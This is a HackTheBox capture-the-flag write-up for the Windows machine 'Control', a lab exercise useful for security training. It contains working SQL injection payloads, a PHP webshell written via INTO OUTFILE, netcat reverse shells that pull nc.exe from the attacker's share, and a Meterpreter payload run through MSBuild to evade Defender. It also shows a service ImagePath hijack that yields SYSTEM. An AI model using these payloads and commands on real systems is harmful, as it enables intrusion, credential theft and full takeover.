Control - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Control is a hard Windows machine that challenges players with SQL injection vulnerabilities on an IIS-hosted PHP application. The exploitation path requires bypassing IP-based access controls via the X-Forwarded-For header, leveraging SQL injection to extract MySQL credentials and write a webshell for initial access. Post-exploitation involves hash cracking to gain lateral movement to a privileged user, discovering manipulated Registry ACLs through PowerShell history, and finally abusing service permissions to execute code as SYSTEM.

TL;DR: X-Forwarded-For bypass → SQL injection → webshell RCE → hash crack lateral movement → Registry ACL abuse → service binary path hijacking → SYSTEM shell.

Reconnaissance

Port Scanning

# Initial fast scan to identify open ports
nmap -p- --min-rate=1000 -T4 10.10.10.167

# Detailed enumeration of discovered ports
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.167 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.167

Results: The scan reveals two critical services:

• Port 80/TCP: Microsoft IIS 10.0 (Windows Server 2016/2019)
• Port 3306/TCP: MySQL 5.7.29 (running on default port)

Service Enumeration

IIS Web Application Analysis:

• WhatWeb reveals PHP 7.3.7 installed
• A product store interface is accessible via HTTP
• An admin page exists but returns an access denied error
• HTML source contains a comment indicating HTTPS configuration is pending and certificates are stored at 192.168.4.28

Initial Access Control Issue: The admin panel at /admin.php returns a 403 Forbidden error, suggesting access restrictions based on origin IP or proxy validation. The comment about a proxy server and enterprise network architecture hints at X-Forwarded-For header validation.

Vulnerability Assessment

1. Access Control Bypass via X-Forwarded-For Header: The application appears to whitelist the proxy server IP (192.168.4.28)
2. SQL Injection in Search Functionality: Input validation is not properly implemented in the admin search feature
3. Excessive Database Permissions: The MySQL user has FILE privileges, enabling arbitrary file writes
4. Password Hash Reuse: Database credentials are reused for Windows accounts
5. Overprivileged Service Accounts: Registry ACLs have been modified to allow unprivileged user modification of service binaries

Initial Foothold

Bypassing Access Control

The admin page denies access to our source IP. We can bypass this by spoofing the X-Forwarded-For header to indicate we’re coming through the proxy server at 192.168.4.28.

# Using Burp Suite, intercept the request and add the header:
# X-Forwarded-For: 192.168.4.28

# Alternatively, using curl:
curl -H "X-Forwarded-For: 192.168.4.28" http://10.10.10.167/admin.php

This grants access to the admin panel containing a product search functionality.

SQL Injection Exploitation

The search parameter is vulnerable to SQL injection. Test for injection:

# Test single quote injection
test'

# Determine number of columns using ORDER BY
test' ORDER BY 2-- -
test' ORDER BY 3-- -
test' ORDER BY 7-- -

# ORDER BY 7 results in an error, confirming 6 columns exist
# Use UNION-based injection to extract data
test' UNION SELECT 1,2,3,4,5,6-- -

All 6 columns output data. Now enumerate the database:

# Identify current user
test' UNION SELECT 1,2,3,4,current_user(),6-- -

# Extract all MySQL user hashes
test' UNION SELECT 1,2,3,4,GROUP_CONCAT(user," : ",password,"\n"),6 FROM mysql.user-- -

# Verify FILE privilege is available
test' UNION SELECT 1,2,3,4,GROUP_CONCAT(user," : ",file_priv,"\n"),6 FROM mysql.user WHERE FILE_PRIV='Y'-- -

The results show the MySQL user has FILE privileges, allowing file writes to the web root.

Webshell Deployment

Create a minimal PHP webshell:

<?=`$_GET[0]`?>

Convert to hex encoding:

echo -n '<?=`$_GET[0]`?>' | xxd -p
# Output: 3c3f3d60245f4745545b305d603f3e

Write the shell to the web root using SQL injection:

test' LIMIT 1 INTO OUTFILE 'C:\\inetpub\\wwwroot\\product-453.php' LINES TERMINATED BY 0x3c3f3d60245f4745545b305d603f3e-- -

Verify execution in the browser:

http://10.10.10.167/product-453.php?0=whoami

Establishing Reverse Shell

Set up a Samba share on the attacker machine to host tools:

# Edit Samba configuration
sudo nano /etc/samba/smb.conf

# Add this section:
# [Public]
#    path = /home/Public
#    writable = no
#    guest ok = yes
#    guest only = yes
#    read only = yes
#    create mode = 0777
#    directory mode = 0777
#    force user = nobody

# Restart Samba service
sudo systemctl restart smbd

# Copy nc.exe to the share
cp /usr/share/windows-resources/binaries/nc.exe /home/Public/

Start a Netcat listener:

nc -lvnp 443

Execute the reverse shell through the webshell:

http://10.10.10.167/product-453.php?0=\\10.10.14.3\Public\nc.exe 10.10.14.3 443 -e powershell

Lateral Movement

Hash Cracking

From the SQL injection results, we extracted the MySQL user hashes. Crack them offline:

# Save hashes to file (format: user:hash)
hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt --force

The hash for user hector cracks successfully, revealing the password: l33th4x0rhector

Privilege Check

Verify hector’s group memberships:

net user CONTROL\hector

The output shows hector is a member of Remote Management Users, allowing PowerShell Remoting via WinRM.

Lateral Movement via PowerShell Remoting

Create credentials and test authentication:

# Convert password to secure string
$password = ConvertTo-SecureString -AsPlainText -Force -String "l33th4x0rhector"

# Create credential object
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "CONTROL\hector",$password

# Test connection
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { whoami } -Credential $credential

# Establish reverse shell as hector
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { \\10.10.14.3\Public\nc.exe 10.10.14.3 8443 -e powershell.exe } -Credential $credential

Start another listener and obtain a shell as the hector user. The user flag is located on hector’s desktop.

Privilege Escalation

Reconnaissance via PowerShell History

Check the PowerShell history for clues:

# Read command history
gc (Get-PSReadlineOption).HistorySavePath

The history reveals hector has been examining Registry ACLs and items under HKLM:\SYSTEM\CurrentControlSet\Services, suggesting modifications to service permissions.

Registry ACL Analysis

Check permissions on the Services registry key:

# Get ACL of Services registry key
$acl = Get-ACL -Path HKLM:\SYSTEM\CurrentControlSet\Services

# Convert and display SDDL
ConvertFrom-SddlString -Sddl $acl.Sddl | ForEach-Object {$_.DiscretionaryAcl}

The output confirms that hector has Full Control over the Services registry key, meaning we can modify service binary paths.

Service Enumeration

Identify services that meet exploitation criteria:

• Run as NT AUTHORITY\SYSTEM
• Configured for manual startup
• Can be started by the current user

# Find suitable services for exploitation
Get-CimInstance win32_service | ForEach-Object {
  $result = $_ | Invoke-CimMethod -Name StartService
  [PSCustomObject]@{
    Result     = $result.ReturnValue
    Name       = $_.Name
    Account    = $_.StartName
    Startup    = $_.StartMode
    DisplayName = $_.DisplayName
  }
} | Sort-Object Name | Where-Object {
  ($_.Result -eq 0) -and `
  ($_.Account -eq "LocalSystem") -and `
  ($_.Startup -eq "Manual")
}

The seclogon service meets all criteria and can be exploited.

Interactive Session Requirement

The current shell is non-interactive, limiting service interaction. Use Meterpreter to migrate to an interactive session:

# Generate Meterpreter payload with msfvenom
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=8888 -f raw | gzip | base64 -w 0

Download the MSBuild C# project template (signed Windows binary to evade Defender):

wget https://gist.githubusercontent.com/dxflatline/<redacted>/raw/63586f21b84d28c121418ab78620932ec9c546e6/msbuild_sc_alloc.csproj

Edit the .csproj file to include the base64-encoded Meterpreter payload, then copy to the Samba share and execute:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.14.3\Public\msbuild_sc_alloc.csproj

Receive the Meterpreter shell and migrate to explorer.exe for stability.

Service Binary Path Hijacking

With an interactive Meterpreter session, modify the seclogon service to execute a reverse shell:

# Set the ImagePath to execute Netcat reverse shell
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\seclogon -Name "ImagePath" -Value "\\10.10.14.3\Public\nc.exe -e powershell.exe 10.10.14.3 8000"

Start two Netcat listeners:

# Listener 1 - receives initial SYSTEM shell
nc -lvnp 8000

# Listener 2 - receives upgraded stable shell
nc -lvnp 8001

From the Meterpreter shell, drop to a standard shell and start the service:

meterpreter > shell
powershell -c "Start-Service seclogon"

Receive the SYSTEM shell on listener 1. Upgrade to a stable interactive shell:

cmd /c START /B "" \\10.10.14.3\Public\nc.exe -e powershell.exe 10.10.14.3 8001

Connect to listener 2 and obtain root access. The root flag is located on the Administrator desktop.

Attack Chain Summary

X-Forwarded-For Bypass (192.168.4.28)
          ↓
    Admin Panel Access
          ↓
  SQL Injection (Search)
          ↓
  Extract MySQL Hashes
          ↓
  FILE Privilege Write
          ↓
   Webshell (PHP)
          ↓
 Reverse Shell (IIS User)
          ↓
  Hash Cracking (hashcat)
          ↓
 hector Credentials Found
          ↓
 PS Remoting Lateral Move
          ↓
  Registry ACL Enumeration
          ↓
   Service Abuse Discovery
          ↓
 MSBuild Meterpreter Injection
          ↓
Interactive Session Obtained
          ↓
 seclogon Binary Path Hijack
          ↓
     SYSTEM Shell

Tools Used

Key Learnings

Techniques Practiced

• HTTP header manipulation (X-Forwarded-For) for access control bypass
• Union-based SQL injection for data extraction and arbitrary file writes
• MySQL FILE privileges exploitation for webshell deployment
• Credential reuse exploitation across database and Windows accounts
• PowerShell Remoting for lateral movement via WinRM
• Registry ACL enumeration and interpretation (SDDL)
• Service permission abuse for privilege escalation
• Windows Defender evasion using signed binaries (MSBuild)
• Meterpreter pivot and session migration techniques
• Service startup manipulation via registry modification

Lessons Learned

1. Defense in Depth Failures: A single misconfiguration (X-Forwarded-For header validation) cascades into complete system compromise when combined with other vulnerabilities.

2. Credential Reuse is Critical Risk: Always use unique, strong passwords for different systems. Reusing database passwords with OS accounts enables easy lateral movement.

3. Registry Permissions Matter: Improperly configured Registry ACLs for service locations can grant unprivileged users the ability to modify SYSTEM-level service execution.

4. File I/O Permissions in Databases: Granting FILE privileges to database users who shouldn’t need them is a common oversight that enables webshell injection.

5. PowerShell History is Gold: Administrators often leave valuable reconnaissance data in PSReadline history, revealing system modifications and attack vectors.

6. Interactive vs. Non-Interactive Shells: Some privilege escalation techniques require interactive sessions; Meterpreter migration fills this gap effectively.

7. Service Enumeration is Systematic: Combining multiple criteria (account, startup type, permissions) helps identify exploitable services methodically.

8. Signed Binary Execution: Windows Defender allows execution of signed Microsoft binaries even when running malicious code through them (Living off the Land).

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>